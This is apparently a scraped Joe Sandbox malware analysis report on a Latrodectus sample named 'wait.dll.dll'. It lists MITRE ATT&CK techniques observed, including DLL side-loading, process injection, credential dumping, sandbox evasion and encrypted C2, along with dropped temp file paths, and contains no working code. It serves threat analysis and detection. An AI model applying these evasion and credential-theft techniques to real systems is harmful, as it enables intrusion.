Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report wait.dll.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Latrodectus

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Ajhu3.tmp

C:\Users\user\AppData\Local\Temp\Alakow3.tmp

C:\Users\user\AppData\Local\Temp\Iyufla1.tmp

C:\Users\user\AppData\Local\Temp\boiz3.tmp

C:\Users\user\AppData\Local\Temp\boiz3.tmp-shm

C:\Users\user\AppData\Local\Temp\ruikcu.tmp

C:\Users\user\AppData\Local\Temp\uxax32.tmp

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
wait.dll.dll

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre